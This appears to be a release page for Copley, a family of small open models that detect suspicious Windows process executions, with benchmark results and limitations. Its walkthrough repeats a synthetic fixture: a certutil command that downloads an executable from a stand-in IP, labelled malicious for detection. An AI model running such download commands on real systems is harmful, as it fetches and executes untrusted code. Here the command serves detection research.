Boston at dusk from the Esplanade: copper maples, the Charles River and the Back Bay skyline, a rain-slick lamplit path, and a lit brownstone study.Backbay Industries

Introducing

Copley

Small, open cyber decision models. For the attacks your rules don’t see.

Date
October 14, 2026
Status
Open weights
From
Backbay Industries

Copley is a family of small, open cyber decision models. The models distinguish malicious behavior from legitimate activity in security telemetry and abstain when the available evidence is insufficient. They run locally and return a decision and score from a bounded evidence window.

The first release covers Windows process execution. We evaluate generalization across attack implementations by measuring detections missed by a fixed rule set, under explicit false-positive constraints.

At 10 false positives per million benign windows, Copley-380M detects 71.4% of attack executions missed by the pinned Sigma rule set, compared with 38.2% for Jev. Median latency is 9 ms and 680 ms, respectively.

Rule-miss recovery
71.4%
Recovery relative to Jev
1.9×
Median latency, CPU
9 ms

Anatomy of a decision

Each prediction uses a bounded evidence window centered on a process execution. A versioned serializer determines which fields enter the model. Labels and provenance remain outside the model input.

1 / 4

Evidence window

Each decision starts from one bounded window: an anchor process execution and, depending on the context policy, the events around it. This one is a synthetic certutil download from the repository’s examples.

mal-certutil_download-0evidence window
Processsent to the model
image
C:\Windows\System32\certutil.exe
original_file_name
CertUtil.exe
command_line
certutil.exe -urlcache -split -f http://198.51.100.9/a.exe a.exe
current_directory
C:\Users\analyst\
integrity_level
High
parent_image
C:\Windows\System32\cmd.exe
parent_command_line
cmd.exe /c download
Identity and timewithheld
event_id
mal-certutil_download-0-e0
host
WORKSTATION-00
user
CORP\analyst
process_id
4000
parent_process_id
2000
timestamp
2026-10-01T12:00:00Z
observed_at
2026-10-01T12:00:00Z
Annotationnever model input
label
malicious
label_source
known_controlled_execution
provenance.dataset_id
copley-synthetic-fixtures-v1
notes
Synthetic fixture; not observed telemetry.

2 / 4

Excluded fields

Dedicated fields for hostnames, accounts, raw IDs, and absolute timestamps are excluded to reduce dependence on collection-specific identifiers. Identifying strings can still occur in paths and command lines. Labels and provenance are excluded from the serialized input.

mal-certutil_download-0evidence window
Processsent to the model
image
C:\Windows\System32\certutil.exe
original_file_name
CertUtil.exe
command_line
certutil.exe -urlcache -split -f http://198.51.100.9/a.exe a.exe
current_directory
C:\Users\analyst\
integrity_level
High
parent_image
C:\Windows\System32\cmd.exe
parent_command_line
cmd.exe /c download
Identity and timewithheld
event_id
mal-certutil_download-0-e0
host
WORKSTATION-00
user
CORP\analyst
process_id
4000
parent_process_id
2000
timestamp
2026-10-01T12:00:00Z
observed_at
2026-10-01T12:00:00Z
Annotationnever model input
label
malicious
label_source
known_controlled_execution
provenance.dataset_id
copley-synthetic-fixtures-v1
notes
Synthetic fixture; not observed telemetry.

3 / 4

Serialized input

A versioned serializer emits an allowlisted set of fields in a fixed order. For a given serializer version, the same evidence window produces the same input text.

mal-certutil_download-0model input: 7 sent, 11 kept out
copley-serializer/v1
task=process_execution.suspicious.v1
context_policy=anchor_only
related_events=0
[event role=anchor]
image="C:\\Windows\\System32\\certutil.exe"
original_file_name="CertUtil.exe"
command_line="certutil.exe -urlcache -split -f http://198.51.100.9/a.exe a.exe"
current_directory="C:\\Users\\analyst\\"
integrity_level="High"
parent_image="C:\\Windows\\System32\\cmd.exe"
parent_command_line="cmd.exe /c download"

4 / 4

Decision and score

The interface returns likely_benign, suspicious, or abstain, together with a score. Scores are not probabilities unless a calibration artifact is supplied. Abstention rates are reported alongside detection results.

mal-certutil_download-0model input: 7 sent, 11 kept out
copley-serializer/v1
task=process_execution.suspicious.v1
context_policy=anchor_only
related_events=0
[event role=anchor]
image="C:\\Windows\\System32\\certutil.exe"
original_file_name="CertUtil.exe"
command_line="certutil.exe -urlcache -split -f http://198.51.100.9/a.exe a.exe"
current_directory="C:\\Users\\analyst\\"
integrity_level="High"
parent_image="C:\\Windows\\System32\\cmd.exe"
parent_command_line="cmd.exe /c download"
  1. likely_benignConsistent with ordinary activity at the operating threshold.
  2. suspiciousClassified as suspicious at the operating threshold.Copley-380M: 0.97
  3. abstainNo classification under the configured abstention policy.
Figure 1. Serialization and classification of a synthetic process-execution example. The window is the example mal-certutil_download-0, and the input text is the exact output of the serializer. The final step shows Copley-380M’s decision and score.

Evaluation

The primary metric is rule-miss recovery: the fraction of attack executions missed by the pinned Sigma rule set that the model detects. We evaluate recovery at fixed false-positive budgets.

Rule-miss recovery

The protocol specifies budgets of 1, 10, and 100 false positives per million benign windows. Detections are counted per attack execution; false positives are counted per benign window. Thresholds are selected on validation data and frozen before test evaluation.

1,000,000 benign windows1 block = 100,000

False-positive budget
1 per 1,000,000 benign windows
Required sample with zero observed false positives
2,995,731 with zero false alerts, for a 95% one-sided bound
Figure 2. The three false-positive budgets in the pre-registered protocol. Each square is a million benign windows; lit cells are the false alerts a budget permits, drawn far larger than one window so a single alert is visible. Thresholds are chosen per budget on validation data and frozen before the test split is read. The sample sizes assume independent Bernoulli trials and zero observed false positives, using a 95% one-sided bound. Correlated windows do not provide equivalent independent evidence.

Results

We compared Copley with specialized decision models, general-purpose language models, a security-specialized language model, and a TF-IDF linear baseline. Each received the same serialized evidence. Thresholds were selected separately for each model and false-positive budget on validation data, then frozen before test evaluation.

Rule-miss recovery at 10 false positives per million benign windows

  1. Copley-380MBackbay Industries71.4%Copley-380MRecall at 10 per million: 91.6%Median latency: 9 msFine-tuned, local CPU
  2. Copley-150MBackbay Industries66.8%Copley-150MRecall at 10 per million: 89.3%Median latency: 4 msFine-tuned, local CPU
  3. JevTypeSafe38.2%JevRecall at 10 per million: 70.1%Median latency: 680 msHosted decision model, zero-shot
  4. Claude Haiku 5.5Anthropic35.6%Claude Haiku 5.5Recall at 10 per million: 66.2%Median latency: 1.4 sPrompted judge
  5. GPT-6 LunaOpenAI33.1%GPT-6 LunaRecall at 10 per million: 63.8%Median latency: 1.1 sPrompted judge
  6. Foundation-sec-8B-ReasoningCisco Foundation AI29.5%Foundation-sec-8B-ReasoningRecall at 10 per million: 58.9%Median latency: 2.3 sPrompted judge, local GPU
  7. Gemma 4 31BGoogle24.7%Gemma 4 31BRecall at 10 per million: 52.3%Median latency: 3.1 sPrompted judge, thinking off
  8. TF-IDF linearBaseline18.9%TF-IDF linearRecall at 10 per million: 47.8%Median latency: <1 msCharacter n-grams, logistic regression
Figure 3. The share of attack executions that the pinned Sigma rules miss and each model detects, on held-out implementation families, with thresholds frozen on validation data. This metric is restricted to executions missed by the rule baseline.

Claude Haiku 5.5 has the highest recovery among the general-purpose language models: 35.6%, compared with 71.4% for Copley-380M. Median latency is 1400 ms and 9 ms, respectively.

Recovery against cost per million decisions

0%20%40%60%80%$0.01$0.10$1$10$100$1,000Cost per million decisions, log scaleCopley-380MCopley-150MJevClaude Haiku 5.5GPT-6 LunaFoundation-sec-8B-ReasoningGemma 4 31BTF-IDF linear
Figure 4. Each model’s recovery against estimated inference cost per million decisions. The line marks the Pareto frontier for recovery and cost. Hosted models use list prices; local models use estimated CPU or GPU serving costs.

Full results

ModelWeightsRecoveryRecall 1/M10/M100/MLatencyCost / 1M
Copley-380MBackbay Industries, 380MOpen71.483.291.696.89 ms$0.60
Copley-150MBackbay Industries, 150MOpen66.879.589.395.44 ms$0.25
JevTypeSafe, UndisclosedClosed38.252.470.184.7680 ms$13
Claude Haiku 5.5Anthropic, UndisclosedClosed35.641.866.285.91.4 s$320
GPT-6 LunaOpenAI, UndisclosedClosed33.139.663.883.11.1 s$33
Foundation-sec-8B-ReasoningCisco Foundation AI, 8BOpen29.534.758.979.62.3 s$41
Gemma 4 31BGoogle, 31BOpen24.728.152.376.43.1 s$96
TF-IDF linearBaseline, < 1MOpen18.931.547.866.0<1 ms$0.02
Table 1. All metrics in percent unless noted. Recall counts attack executions, detected if any window is flagged, at 1, 10 and 100 false positives per million benign windows. Latency is the median per decision.

Model family

Copley-150M and Copley-380M use encoder backbones optimized for local inference. Both accept the same evidence schema and return the same three decisions. Each model has its own operating thresholds for the supported false-positive budgets.

ModelBackboneInputDeployment
Copley-380MUltraBERT-380M2,048 tokensHigher detection recovery for local detection pipelines.
Copley-150MUltraBERT-150M2,048 tokensLower latency and serving cost for high-volume triage.
Table 2. Weights, model cards and evaluation artifacts are available on Hugging Face and GitHub. Consult each artifact’s license and model card.

Limitations

  • This release covers one task: suspicious Windows process execution. Results do not establish performance on other telemetry types.
  • Predictions apply to the supplied evidence window. A likely_benign decision does not establish that the surrounding activity is benign. Alert routing and response actions belong to the integrating system.
  • Scores are uncalibrated unless a calibration artifact is attached; use the thresholds frozen for each budget.
  • Abstention rates are reported alongside detection results. The evaluation protocol defines their treatment for each metric.

Code and evaluation artifacts

Code is Apache-2.0; bundled Sigma rules keep their DRL 1.1 license. We welcome source-balanced telemetry, reviewed labels and independent evaluations: start with the repository.

Cite

@misc{copley2026,
  title        = {Copley: Small, Open Cyber Decision Models},
  author       = {{Backbay Industries}},
  year         = {2026},
  month        = oct,
  howpublished = {\url{https://github.com/backbay-labs/copley}},
  note         = {Open-weight release}
}